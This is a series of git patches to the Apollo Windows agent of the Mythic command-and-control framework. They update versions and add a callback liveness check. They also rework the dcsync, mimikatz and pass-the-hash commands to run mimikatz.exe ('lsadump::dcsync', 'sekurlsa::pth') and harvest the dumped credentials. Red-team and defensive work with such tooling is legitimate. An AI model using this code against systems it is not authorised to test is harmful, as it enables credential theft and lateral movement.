From 1e3b854d26d1e14863c4afb413d4bc9321951fb7 Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Wed, 10 Jul 2024 17:40:21 -0500
Subject: [PATCH 1/7] Mythic3.3 Initial update

---
 Payload_Type/apollo/Dockerfile                |  2 +-
 .../apollo/mythic/agent_functions/builder.py  | 59 ++++++++++++++++---
 2 files changed, 53 insertions(+), 8 deletions(-)

diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile
index 79ecf1dc..cf568770 100644
--- a/Payload_Type/apollo/Dockerfile
+++ b/Payload_Type/apollo/Dockerfile
@@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
 
 WORKDIR /Mythic/
 RUN python3 -m venv /venv
-RUN /venv/bin/python -m pip install mythic-container==0.4.10
+RUN /venv/bin/python -m pip install mythic-container==0.5.0
 RUN /venv/bin/python -m pip install donut-shellcode
 
 COPY [".", "."]
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
index febcd457..56856b03 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
@@ -1,7 +1,11 @@
+import datetime
+import time
+
 from mythic_container.PayloadBuilder import *
 from mythic_container.MythicCommandBase import *
 import os, fnmatch, tempfile, sys, asyncio
 from distutils.dir_util import copy_tree
+from mythic_container.MythicGoRPC.send_mythic_rpc_callback_next_checkin_range import *
 import traceback
 import shutil
 import json
@@ -17,7 +21,7 @@ class Apollo(PayloadType):
     supported_os = [
         SupportedOS.Windows
     ]
-    version = "2.2.5"
+    version = "2.2.6"
     wrapper = False
     wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
     note = """
@@ -26,9 +30,9 @@ class Apollo(PayloadType):
     supports_dynamic_loading = True
     build_parameters = [
         BuildParameter(
-            name = "output_type",
+            name="output_type",
             parameter_type=BuildParameterType.ChooseOne,
-            choices=[ "WinExe", "Shellcode"],
+            choices=["WinExe", "Shellcode"],
             default_value="WinExe",
             description="Output as shellcode, executable, or dynamically loaded library.",
         )
@@ -68,7 +72,8 @@ async def build(self) -> BuildResponse:
             for key, val in c2.get_parameters_dict().items():
                 prefixed_key = f"{profile['name'].lower()}_{key}"
                 if isinstance(val, dict) and 'enc_key' in val:
-                    stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "")
+                    stdout_err += "Setting {} to {}".format(prefixed_key,
+                                                            val["enc_key"] if val["enc_key"] is not None else "")
 
                     # TODO: Prefix the AESPSK variable and also make it specific to each profile
                     special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else ""
@@ -89,7 +94,7 @@ async def build(self) -> BuildResponse:
             for csFile in get_csharp_files(agent_build_path.name):
                 templateFile = open(csFile, "rb").read().decode()
                 templateFile = templateFile.replace("#define C2PROFILE_NAME_UPPER", "\n".join(defines_profiles_upper))
-                templateFile = templateFile.replace("#define COMMAND_NAME_UPPER",  "\n".join(defines_commands_upper) )
+                templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper))
                 for specialFile in special_files_map.keys():
                     if csFile.endswith(specialFile):
                         for key, val in special_files_map[specialFile].items():
@@ -159,13 +164,15 @@ async def build(self) -> BuildResponse:
                     shellcode_path = "{}/loader.bin".format(agent_build_path.name)
                     donutPath = os.path.abspath(self.agent_code_path / "donut")
                     command = "chmod 777 {}; chmod +x {}".format(donutPath, donutPath)
-                    proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr= asyncio.subprocess.PIPE)
+                    proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
+                                                                 stderr=asyncio.subprocess.PIPE)
                     stdout, stderr = await proc.communicate()
 
                     command = "{} -f 1 {}".format(donutPath, output_path)
                     # need to go through one more step to turn our exe into shellcode
                     proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
-                                                                 stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name)
+                                                                 stderr=asyncio.subprocess.PIPE,
+                                                                 cwd=agent_build_path.name)
                     stdout, stderr = await proc.communicate()
 
                     stdout_err += f'[stdout]\n{stdout.decode()}\n'
@@ -211,6 +218,44 @@ async def build(self) -> BuildResponse:
             resp.build_message = "Error building payload: " + str(traceback.format_exc())
         return resp
 
+    async def check_if_callbacks_alive(self,
+                                       message: PTCheckIfCallbacksAliveMessage) -> PTCheckIfCallbacksAliveMessageResponse:
+        response = PTCheckIfCallbacksAliveMessageResponse(Success=True)
+        for callback in message.Callbacks:
+            if callback.SleepInfo == "":
+                continue  # can't do anything if we don't know the expected sleep info of the agent
+            try:
+                sleep_info = json.loads(callback.SleepInfo)
+            except Exception as e:
+                continue
+            atLeastOneCallbackWithinRange = False
+            try:
+                for activeC2, info in sleep_info.items():
+                    if activeC2 == "websocket" and callback.LastCheckin == "1970-01-01 00:00:00Z":
+                        atLeastOneCallbackWithinRange = True
+                        continue
+                    checkinRangeResponse = await SendMythicRPCCallbackNextCheckinRange(
+                        MythicRPCCallbackNextCheckinRangeMessage(
+                            LastCheckin=callback.LastCheckin,
+                            SleepJitter=info["jitter"],
+                            SleepInterval=info["interval"],
+                        ))
+                    if not checkinRangeResponse.Success:
+                        continue
+                    lastCheckin = datetime.datetime.strptime(callback.LastCheckin, '%Y-%m-%dT%H:%M:%S.%fZ')
+                    minCheckin = datetime.datetime.strptime(checkinRangeResponse.Min, '%Y-%m-%dT%H:%M:%S.%fZ')
+                    maxCheckin = datetime.datetime.strptime(checkinRangeResponse.Max, '%Y-%m-%dT%H:%M:%S.%fZ')
+                    if minCheckin <= lastCheckin <= maxCheckin:
+                        atLeastOneCallbackWithinRange = True
+                response.Callbacks.append(PTCallbacksToCheckResponse(
+                    ID=callback.ID,
+                    Alive=atLeastOneCallbackWithinRange,
+                ))
+            except Exception as e:
+                logger.info(e)
+                logger.info(callback.to_json())
+        return response
+
 
 def get_csharp_files(base_path: str) -> list[str]:
     results = []

From 0b1607d26f6f55e91a94ad00beac5624ca816cc4 Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Thu, 1 Aug 2024 10:53:04 -0500
Subject: [PATCH 2/7] updating pypi version

---
 Payload_Type/apollo/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile
index d265a44b..821b966a 100644
--- a/Payload_Type/apollo/Dockerfile
+++ b/Payload_Type/apollo/Dockerfile
@@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
 
 WORKDIR /Mythic/
 RUN python3 -m venv /venv
-RUN /venv/bin/python -m pip install mythic-container==0.5.0
+RUN /venv/bin/python -m pip install mythic-container==0.5.3
 RUN /venv/bin/python -m pip install donut-shellcode
 RUN /venv/bin/python -m pip install mslex
 

From 658037fe644207bd838c323ba2ec8df357b952c0 Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Fri, 2 Aug 2024 14:53:26 -0500
Subject: [PATCH 3/7] updates for subtasking

---
 .../apollo/mythic/agent_functions/builder.py  |  2 +-
 .../apollo/mythic/agent_functions/dcsync.py   | 46 ++++++++--------
 .../apollo/mythic/agent_functions/mimikatz.py | 52 ++++++++++---------
 .../apollo/mythic/agent_functions/pth.py      | 47 ++++++++---------
 4 files changed, 74 insertions(+), 73 deletions(-)

diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
index f14ee8a8..e19a5f63 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
@@ -21,7 +21,7 @@ class Apollo(PayloadType):
     supported_os = [
         SupportedOS.Windows
     ]
-    version = "2.2.8"
+    version = "2.2.9"
     wrapper = False
     wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
     note = """
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py b/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py
index 5ccf1d47..84aaa260 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py
@@ -2,6 +2,7 @@
 from os import path
 from mythic_container.MythicRPC import *
 import mslex
+from .execute_pe import *
 
 
 class DcSyncArguments(TaskArguments):
@@ -69,7 +70,7 @@ async def parse_credentials_dcsync(
         Success=True, TaskStatus="success", Completed=True
     )
     responses = await SendMythicRPCResponseSearch(
-        MythicRPCResponseSearchMessage(TaskID=task.SubtaskData.Task.ID)
+        MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID)
     )
     for output in responses.Responses:
         mimikatz_out = str(output.Response)
@@ -89,7 +90,7 @@ async def parse_credentials_dcsync(
                     if passwd != "(null)":
                         cred_resp = await MythicRPC().execute(
                             "create_credential",
-                            task_id=task.SubtaskData.Task.ID,
+                            task_id=task.TaskData.Task.ID,
                             credential_type="plaintext",
                             account=uname,
                             realm=realm,
@@ -107,38 +108,37 @@ class DcSyncCommand(CommandBase):
     needs_admin = False
     help_cmd = "dcsync -Domain [domain] -User [user]"
     description = "Sync a user's Kerberos keys to the local machine."
-    version = 3
+    version = 4
     author = "@djhohnstein"
     argument_class = DcSyncArguments
     attackmapping = ["T1003.006"]
-    script_only = True
+    script_only = False
     completion_functions = {"parse_credentials_dcsync": parse_credentials_dcsync}
 
     async def create_go_tasking(
         self, taskData: PTTaskMessageAllData
     ) -> PTTaskCreateTaskingMessageResponse:
-        response = PTTaskCreateTaskingMessageResponse(
-            TaskID=taskData.Task.ID,
-            Success=True,
-        )
 
         arguments = taskData.args.get_arg("arguments")
-        response.DisplayParams = arguments
-        arguments = "lsadump::dcsync " + arguments
-
-        await SendMythicRPCTaskCreateSubtask(
-            MythicRPCTaskCreateSubtaskMessage(
-                TaskID=taskData.Task.ID,
-                CommandName="execute_pe",
-                Params=json.dumps({
-                    "pe_name": "mimikatz.exe",
-                    "pe_arguments": mslex.quote(arguments, for_cmd = False),
-                }),
-                SubtaskCallbackFunction="parse_credentials_dcsync",
-            )
-        )
 
-        return response
+        arguments = "lsadump::dcsync " + arguments
+        executePEArgs = ExecutePEArguments(command_line=json.dumps({
+            "pe_name": "mimikatz.exe",
+            "pe_arguments": mslex.quote(arguments, for_cmd = False),
+        }))
+        await executePEArgs.parse_arguments()
+        executePECommand = ExecutePECommand(agent_path=self.agent_code_path,
+                                            agent_code_path=self.agent_code_path,
+                                            agent_browserscript_path=self.agent_browserscript_path)
+        # set our taskData args to be the new ones for execute_pe
+        taskData.args = executePEArgs
+        # executePE's creat_go_tasking function returns a response for us
+        newResp = await executePECommand.create_go_tasking(taskData=taskData)
+        # update the response to make sure this gets pulled down as execute_pe instead of mimikatz
+        newResp.CommandName = "execute_pe"
+        newResp.DisplayParams = arguments
+        newResp.CompletionFunctionName = "parse_credentials_dcsync"
+        return newResp
 
     async def process_response(
         self, task: PTTaskMessageAllData, response: any
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py b/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py
index 83ca18c6..622c3570 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py
@@ -2,6 +2,7 @@
 from mythic_container.MythicRPC import *
 import json
 import mslex
+from .execute_pe import *
 
 
 class MimikatzArguments(TaskArguments):
@@ -34,6 +35,7 @@ async def parse_arguments(self):
 
         self.remove_arg("commands")
 
+
 async def parse_credentials(
     task: PTTaskCompletionFunctionMessage,
 ) -> PTTaskCompletionFunctionMessageResponse:
@@ -41,8 +43,9 @@ async def parse_credentials(
         Success=True, TaskStatus="success", Completed=True
     )
     responses = await SendMythicRPCResponseSearch(
-        MythicRPCResponseSearchMessage(TaskID=task.SubtaskData.Task.ID)
+        MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID)
     )
+    logger.info(responses.Responses)
     for output in responses.Responses:
         mimikatz_out = str(output.Response)
         comment = "task {}".format(output.TaskID)
@@ -61,7 +64,7 @@ async def parse_credentials(
                     if passwd != "(null)":
                         cred_resp = await SendMythicRPCCredentialCreate(
                             MythicRPCCredentialCreateMessage(
-                                TaskID=task.SubtaskData.Task.ID,
+                                TaskID=task.TaskData.Task.ID,
                                 Credentials=[
                                     MythicRPCCredentialData(
                                         credential_type="plaintext",
@@ -84,7 +87,7 @@ class MimikatzCommand(CommandBase):
     needs_admin = False
     help_cmd = "mimikatz [command1] [command2] [...]"
     description = "Execute one or more mimikatz commands (e.g. `mimikatz coffee sekurlsa::logonpasswords`)."
-    version = 2
+    version = 3
     author = "@djhohnstein"
     argument_class = MimikatzArguments
     attackmapping = [
@@ -98,34 +101,33 @@ class MimikatzCommand(CommandBase):
         "T1552",
         "T1550",
     ]
-    script_only = True
+    script_only = False
     completion_functions = {"parse_credentials": parse_credentials}
 
     async def create_go_tasking(
         self, taskData: PTTaskMessageAllData
     ) -> PTTaskCreateTaskingMessageResponse:
-        response = PTTaskCreateTaskingMessageResponse(
-            TaskID=taskData.Task.ID,
-            Success=True,
-        )
-
         commandline = taskData.args.get_arg("commandline")
-        response.DisplayParams = commandline
-
-        await SendMythicRPCTaskCreateSubtask(
-            MythicRPCTaskCreateSubtaskMessage(
-                TaskID=taskData.Task.ID,
-                CommandName="execute_pe",
-                Params=json.dumps(
-                    {
-                        "pe_name": "mimikatz.exe",
-                        "pe_arguments": commandline,
-                    }
-                ),
-                SubtaskCallbackFunction="parse_credentials",
-            )
-        )
-        return response
+        # we're going to call execute_pe, so prep args, parse them, and generate the command
+        executePEArgs = ExecutePEArguments(command_line=json.dumps(
+            {
+                "pe_name": "mimikatz.exe",
+                "pe_arguments": commandline,
+            }
+        ))
+        await executePEArgs.parse_arguments()
+        executePECommand = ExecutePECommand(agent_path=self.agent_code_path,
+                                            agent_code_path=self.agent_code_path,
+                                            agent_browserscript_path=self.agent_browserscript_path)
+        # set our taskData args to be the new ones for execute_pe
+        taskData.args = executePEArgs
+        # executePE's creat_go_tasking function returns a response for us
+        newResp = await executePECommand.create_go_tasking(taskData=taskData)
+        # update the response to make sure this gets pulled down as execute_pe instead of mimikatz
+        newResp.CommandName = "execute_pe"
+        newResp.DisplayParams = commandline
+        newResp.CompletionFunctionName = "parse_credentials"
+        return newResp
 
     async def process_response(
         self, task: PTTaskMessageAllData, response: any
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py
index 9f94554f..683b9987 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py
@@ -2,6 +2,7 @@
 from mythic_container.MythicRPC import *
 import mslex
 import re
+from .execute_pe import *
 
 
 def valid_ntlm_hash(hash):
@@ -155,7 +156,7 @@ async def parse_arguments(self):
                             "Selected credential is not a valid AES128 or AES256 key."
                         )
                 else:   # TODO: Add hash credential type check when Apollo supports tagging
-                        # credential types in Mimikatz output
+                    # credential types in Mimikatz output
                     ntlm_hash = credential["credential"]
                     if not valid_ntlm_hash(ntlm_hash):
                         raise ValueError(
@@ -179,7 +180,7 @@ async def parse_credentials(
         Success=True, TaskStatus="success", Completed=True
     )
     responses = await SendMythicRPCResponseSearch(
-        MythicRPCResponseSearchMessage(TaskID=task.SubtaskData.Task.ID)
+        MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID)
     )
     for output in responses.Responses:
         mimikatz_out = str(output.Response)
@@ -199,7 +200,7 @@ async def parse_credentials(
                     if passwd != "(null)":
                         cred_resp = await SendMythicRPCCredentialCreate(
                             MythicRPCCredentialCreateMessage(
-                                TaskID=task.SubtaskData.Task.ID,
+                                TaskID=task.TaskData.Task.ID,
                                 Credentials=[
                                     MythicRPCCredentialData(
                                         credential_type="plaintext",
@@ -224,21 +225,16 @@ class PthCommand(CommandBase):
     description = (
         "Spawn a new process using the specified domain user's credential material."
     )
-    version = 3
+    version = 4
     author = "@djhohnstein"
     argument_class = PthArguments
     attackmapping = ["T1550"]
-    script_only = True
+    script_only = False
     completion_functions = {"parse_credentials": parse_credentials}
 
     async def create_go_tasking(
         self, taskData: PTTaskMessageAllData
     ) -> PTTaskCreateTaskingMessageResponse:
-        response = PTTaskCreateTaskingMessageResponse(
-            TaskID=taskData.Task.ID,
-            Success=True,
-        )
-
         user = taskData.args.get_arg("user")
         domain = taskData.args.get_arg("domain")
 
@@ -261,21 +257,24 @@ async def create_go_tasking(
             run = mslex.quote(run, for_cmd = False)
             arguments += f" /run:{run}"
 
-        response.DisplayParams = arguments
         arguments = "sekurlsa::pth " + arguments
-
-        await SendMythicRPCTaskCreateSubtask(
-            MythicRPCTaskCreateSubtaskMessage(
-                TaskID=taskData.Task.ID,
-                CommandName="execute_pe",
-                Params=json.dumps({
-                    "pe_name": "mimikatz.exe",
-                    "pe_arguments": mslex.quote(arguments, for_cmd = False),
-                }),
-                SubtaskCallbackFunction="parse_credentials",
-            )
-        )
-        return response
+        executePEArgs = ExecutePEArguments(command_line=json.dumps({
+            "pe_name": "mimikatz.exe",
+            "pe_arguments": mslex.quote(arguments, for_cmd = False),
+        }))
+        await executePEArgs.parse_arguments()
+        executePECommand = ExecutePECommand(agent_path=self.agent_code_path,
+                                            agent_code_path=self.agent_code_path,
+                                            agent_browserscript_path=self.agent_browserscript_path)
+        # set our taskData args to be the new ones for execute_pe
+        taskData.args = executePEArgs
+        # executePE's creat_go_tasking function returns a response for us
+        newResp = await executePECommand.create_go_tasking(taskData=taskData)
+        # update the response to make sure this gets pulled down as execute_pe instead of mimikatz
+        newResp.CommandName = "execute_pe"
+        newResp.DisplayParams = arguments
+        newResp.CompletionFunctionName = "parse_credentials"
+        return newResp
 
     async def process_response(
         self, task: PTTaskMessageAllData, response: any

From 9f96bc7622e532b93dd6967cb9fd69f6156e4f9d Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Mon, 12 Aug 2024 15:17:59 -0500
Subject: [PATCH 4/7] update pypi version

---
 Payload_Type/apollo/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile
index 821b966a..3f721575 100644
--- a/Payload_Type/apollo/Dockerfile
+++ b/Payload_Type/apollo/Dockerfile
@@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
 
 WORKDIR /Mythic/
 RUN python3 -m venv /venv
-RUN /venv/bin/python -m pip install mythic-container==0.5.3
+RUN /venv/bin/python -m pip install mythic-container==0.5.4
 RUN /venv/bin/python -m pip install donut-shellcode
 RUN /venv/bin/python -m pip install mslex
 

From 8b4ad5b37fdb3edeb1a171fcea94ea5266bce672 Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Wed, 21 Aug 2024 15:26:16 -0500
Subject: [PATCH 5/7] updating pypi and using new features

---
 Payload_Type/apollo/Dockerfile                                | 2 +-
 .../apollo/apollo/mythic/agent_functions/make_token.py        | 4 +++-
 Payload_Type/apollo/apollo/mythic/agent_functions/pth.py      | 1 +
 3 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile
index 3f721575..d610f0ff 100644
--- a/Payload_Type/apollo/Dockerfile
+++ b/Payload_Type/apollo/Dockerfile
@@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
 
 WORKDIR /Mythic/
 RUN python3 -m venv /venv
-RUN /venv/bin/python -m pip install mythic-container==0.5.4
+RUN /venv/bin/python -m pip install mythic-container==0.5.6
 RUN /venv/bin/python -m pip install donut-shellcode
 RUN /venv/bin/python -m pip install mslex
 
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py
index 45ee6769..da0fe0c4 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py
@@ -11,7 +11,9 @@ def __init__(self, command_line, **kwargs):
                 name="credential",
                 cli_name="Credential",
                 display_name="Credential",
-                type=ParameterType.Credential_JSON)
+                type=ParameterType.Credential_JSON,
+                limit_credentials_by_type=["plaintext"]
+            )
         ]
 
     async def parse_arguments(self):
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py
index 5b618085..357d0e7a 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py
@@ -28,6 +28,7 @@ def __init__(self, command_line, **kwargs):
                 display_name="Credential",
                 type=ParameterType.Credential_JSON,
                 description="Saved credential of the user to impersonate (either an NTLM hash or AES key).",
+                limit_credentials_by_type=["hash"],
                 parameter_group_info=[
                     ParameterGroupInfo(
                         ui_position=1, required=True, group_name="Credential"

From 793448e9ddd8391706c7efc0b06d3e550c2e71c3 Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Wed, 28 Aug 2024 10:24:27 -0500
Subject: [PATCH 6/7] updating agent capabilities

---
 agent_capabilities.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/agent_capabilities.json b/agent_capabilities.json
index 8fdcfe50..7f2f8cd2 100644
--- a/agent_capabilities.json
+++ b/agent_capabilities.json
@@ -10,7 +10,7 @@
   "payload_output": ["exe", "shellcode"],
   "architectures": ["x86_64"],
   "c2": ["http", "smb", "tcp", "websocket"],
-  "mythic_version": "3.2",
-  "agent_version": "2.2.5",
+  "mythic_version": "3.3.0",
+  "agent_version": "2.2.13",
   "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"]
 }
\ No newline at end of file

From 6cd55320d675684c921e5ab5d1d8d967c087e25b Mon Sep 17 00:00:00 2001
From: its-a-feature <codybthomas@gmail.com>
Date: Wed, 28 Aug 2024 10:25:07 -0500
Subject: [PATCH 7/7] updating pypi

---
 Payload_Type/apollo/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile
index d610f0ff..2bf6097b 100644
--- a/Payload_Type/apollo/Dockerfile
+++ b/Payload_Type/apollo/Dockerfile
@@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
 
 WORKDIR /Mythic/
 RUN python3 -m venv /venv
-RUN /venv/bin/python -m pip install mythic-container==0.5.6
+RUN /venv/bin/python -m pip install mythic-container==0.5.9
 RUN /venv/bin/python -m pip install donut-shellcode
 RUN /venv/bin/python -m pip install mslex